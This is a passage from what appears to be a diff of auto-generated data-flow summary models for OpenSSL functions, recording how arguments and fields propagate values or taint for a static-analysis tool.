"dfc-generated"] + - ["", "", True, "SSL_set0_wbio", "(SSL *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_client_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**client_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_client_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**client_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_client_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*client_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_host", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_host", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_param", "(SSL *,X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_set1_server_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**server_cert_type]", "value", "dfc-generated"] + - ["", "", True, "SSL_set1_server_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**server_cert_type]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set1_server_cert_type", "(SSL *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*server_cert_type_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_SSL_CTX", "(SSL *,SSL_CTX *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SSL_set_SSL_CTX", "(SSL *,SSL_CTX *)", "", "Argument[1]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_SSL_CTX", "(SSL *,SSL_CTX *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*allow_early_data_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_allow_early_data_cb", "(SSL *,SSL_allow_early_data_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*allow_early_data_cb_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_alpn_protos", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**alpn]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_alpn_protos", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**alpn]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_alpn_protos", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback", "(SSL *,SSL_async_callback_fn)", "", "Argument[1]", "Argument[*0].Field[*async_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback_arg", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[***async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback_arg", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_async_callback_arg", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[*async_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[*2]", "Argument[*0].Field[**bbio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[*2]", "Argument[*0].Field[**wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[2]", "Argument[*0].Field[**bbio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_bio", "(SSL *,BIO *,BIO *)", "", "Argument[2]", "Argument[*0].Field[*wbio]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding_ex", "(SSL *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*block_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_block_padding_ex", "(SSL *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*rlayer].Field[*hs_padding]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[**cert].Field[***cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[*0].Field[**tls].Field[**cert]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**cert].Field[**cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*cert_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cert_cb", "(SSL *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[**cert].Field[*cert_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_cipher_list", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_cipher_list", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_client_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[*1]", "Argument[*0].Field[**client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_client_CA_list", "(SSL *,stack_st_X509_NAME *)", "", "Argument[1]", "Argument[*0].Field[*client_ca_names]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*ct_validation_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_ct_validation_callback", "(SSL *,ssl_ct_validation_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*ct_validation_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb", "(SSL *,pem_password_cb *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb_userdata", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[***default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb_userdata", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[**default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_passwd_cb_userdata", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[*default_passwd_callback_userdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_default_read_buffer_len", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*default_read_buf_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_generate_session_id", "(SSL *,GEN_SESSION_CB)", "", "Argument[1]", "Argument[*0].Field[*generate_session_id]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_hostflags", "(SSL *,unsigned int)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_hostflags", "(SSL *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*hostflags]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_info_callback", "(SSL *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*info_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_max_early_data", "(SSL *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_num_tickets", "(SSL *,size_t)", "", "Argument[1]", "Argument[*0].Field[*num_tickets]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_options", "(SSL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_post_handshake_auth", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*pha_enabled]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_client_callback", "(SSL *,SSL_psk_client_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_client_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_find_session_callback", "(SSL *,SSL_psk_find_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_find_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_server_callback", "(SSL *,SSL_psk_server_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_server_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_psk_use_session_callback", "(SSL *,SSL_psk_use_session_cb_func)", "", "Argument[1]", "Argument[*0].Field[*psk_use_session_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_purpose", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[**2]", "Argument[*0].Field[***qtarg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[*2]", "Argument[*0].Field[**qtarg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_cbs", "(SSL *,const OSSL_DISPATCH *,void *)", "", "Argument[2]", "Argument[*0].Field[*qtarg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_early_data_enabled", "(SSL *,int)", "", "Argument[*0].Field[**tls].Field[**qtls]", "Argument[*0].Field[**qtls]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[*0].Field[**tls].Field[**qtls]", "Argument[*0].Field[**qtls]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**qtls].Field[**local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**qtls].Field[*local_transport_params]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quic_tls_transport_params", "(SSL *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[**qtls].Field[*local_transport_params_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_quiet_shutdown", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*quiet_shutdown]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_read_ahead", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*read_ahead]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback", "(SSL *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*record_padding_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback_arg", "(SSL *,void *)", "", "Argument[**1]", "Argument[*0].Field[*rlayer].Field[***record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback_arg", "(SSL *,void *)", "", "Argument[*1]", "Argument[*0].Field[*rlayer].Field[**record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_record_padding_callback_arg", "(SSL *,void *)", "", "Argument[1]", "Argument[*0].Field[*rlayer].Field[*record_padding_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_recv_max_early_data", "(SSL *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*recv_max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_security_callback", "(SSL *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_security_level", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[*sec_level]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session", "(SSL *,SSL_SESSION *)", "", "Argument[1]", "Argument[*0].Field[*session]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_id_context", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*sid_ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_id_context", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*sid_ctx]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_session_id_context", "(SSL *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*sid_ctx_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***session_secret_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**session_secret_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*session_secret_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_secret_cb", "(SSL *,tls_session_secret_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*session_secret_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext", "(SSL *,void *,int)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext", "(SSL *,void *,int)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[*ext].Field[***session_ticket_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[*ext].Field[**session_ticket_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*session_ticket_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_session_ticket_ext_cb", "(SSL *,tls_session_ticket_ext_cb_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*session_ticket_cb_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_shutdown", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[*shutdown]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_srp_server_param", "(SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *)", "", "Argument[*5]", "Argument[*0].Field[*srp_ctx].Field[**info]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_srp_server_param", "(SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *)", "", "Argument[5]", "Argument[*0].Field[*srp_ctx].Field[**info]", "taint", "dfc-generated"] + - ["", "", True, "SSL_set_ssl_method", "(SSL *,const SSL_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_tlsext_max_fragment_length", "(SSL *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*max_fragment_len_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_trust", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify", "(SSL *,int,..(*)(..),SSL_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify", "(SSL *,int,..(*)(..),SSL_verify_cb)", "", "Argument[2]", "Argument[*0].Field[*verify_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify_depth", "(SSL *,int)", "", "Argument[*0].Field[**tls].Field[**param]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify_depth", "(SSL *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "SSL_set_verify_result", "(SSL *,long)", "", "Argument[1]", "Argument[*0].Field[*verify_result]", "value", "dfc-generated"] + - ["", "", True, "SSL_shutdown", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_shutdown_ex", "(SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_state_string", "(const SSL *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_state_string_long", "(const SSL *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_stateless", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_trace", "(int,int,int,const void *,size_t,SSL *,void *)", "", "Argument[6]", "Argument[*6].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SSL_use_PrivateKey_ASN1", "(int,SSL *,const unsigned char *,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_PrivateKey_ASN1", "(int,SSL *,const unsigned char *,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_RSAPrivateKey_ASN1", "(SSL *,const unsigned char *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_RSAPrivateKey_ASN1", "(SSL *,const unsigned char *,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SSL_use_cert_and_key", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate", "(SSL *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_certificate_ASN1", "(SSL *,const unsigned char *,int)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_use_psk_identity_hint", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "value", "dfc-generated"] + - ["", "", True, "SSL_use_psk_identity_hint", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "taint", "dfc-generated"] + - ["", "", True, "SSL_verify_client_post_handshake", "(SSL *)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_version", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_version", "(const SSL *)", "", "Argument[*0].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_want", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_write", "(SSL *,const void *,int)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write", "(SSL *,const void *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_early_data", "(SSL *,const void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_early_data", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_early_data", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex2", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_ex2", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex2", "(SSL *,const void *,size_t,uint64_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SXNETID_free", "(SXNETID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SXNETID_free", "(SXNETID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_asc", "(SXNET **,const char *,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_asc", "(SXNET **,const char *,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_asc", "(SXNET **,const char *,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_ulong", "(SXNET **,unsigned long,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "SXNET_add_id_ulong", "(SXNET **,unsigned long,const char *,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_add_id_ulong", "(SXNET **,unsigned long,const char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SXNET_free", "(SXNET *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SXNET_free", "(SXNET *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SipHash_Final", "(SIPHASH *,unsigned char *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SipHash_Init", "(SIPHASH *,const unsigned char *,int,int)", "", "Argument[2]", "Argument[*0].Field[*crounds]", "value", "dfc-generated"] + - ["", "", True, "SipHash_Init", "(SIPHASH *,const unsigned char *,int,int)", "", "Argument[3]", "Argument[*0].Field[*drounds]", "value", "dfc-generated"] + - ["", "", True, "SipHash_Update", "(SIPHASH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*leavings]", "taint", "dfc-generated"] + - ["", "", True, "SipHash_Update", "(SIPHASH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*len]", "taint", "dfc-generated"] + - ["", "", True, "SipHash_Update", "(SIPHASH *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*total_inlen]", "taint", "dfc-generated"] + - ["", "", True, "SipHash_hash_size", "(SIPHASH *)", "", "Argument[*0].Field[*hash_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SipHash_set_hash_size", "(SIPHASH *,size_t)", "", "Argument[1]", "Argument[*0].Field[*hash_size]", "value", "dfc-generated"] + - ["", "", True, "TLS_FEATURE_free", "(TLS_FEATURE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TLS_FEATURE_free", "(TLS_FEATURE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_dup", "(const TS_ACCURACY *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_free", "(TS_ACCURACY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_free", "(TS_ACCURACY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_ACCURACY_get_micros", "(const TS_ACCURACY *)", "", "Argument[*0].Field[**micros]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_micros", "(const TS_ACCURACY *)", "", "Argument[*0].Field[*micros]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_millis", "(const TS_ACCURACY *)", "", "Argument[*0].Field[**millis]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_millis", "(const TS_ACCURACY *)", "", "Argument[*0].Field[*millis]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_seconds", "(const TS_ACCURACY *)", "", "Argument[*0].Field[**seconds]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_get_seconds", "(const TS_ACCURACY *)", "", "Argument[*0].Field[*seconds]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ACCURACY_set_micros", "(TS_ACCURACY *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", 